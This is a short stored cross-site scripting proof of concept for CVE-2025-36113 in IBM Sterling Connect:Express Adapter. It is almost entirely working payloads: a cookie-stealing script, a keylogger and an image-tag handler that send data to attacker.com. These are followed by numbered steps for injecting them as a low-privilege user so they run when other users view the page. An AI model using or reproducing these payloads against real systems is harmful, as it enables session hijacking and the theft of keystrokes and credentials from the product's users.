CVE-2025-36113: IBM Sterling Connect:Express Adapter XSS漏洞

<!-- Stored XSS PoC for CVE-2025-36113 --> <!-- This PoC demonstrates injecting JavaScript into a vulnerable field --> <!-- Example 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Example 2: Session hijacking payload --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Example 3: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> <!-- Example 4: DOM-based credential harvesting --> <img src=x onerror='fetch("https://attacker.com/collect?data="+btoa(document.body.innerHTML))'> <!-- Steps to exploit: 1. Authenticate to IBM Sterling B2B Integrator as a low-privilege user 2. Navigate to a vulnerable input field in the Web UI 3. Inject one of the above XSS payloads 4. Save/submit the form 5. When other users view the affected page, the payload will execute -->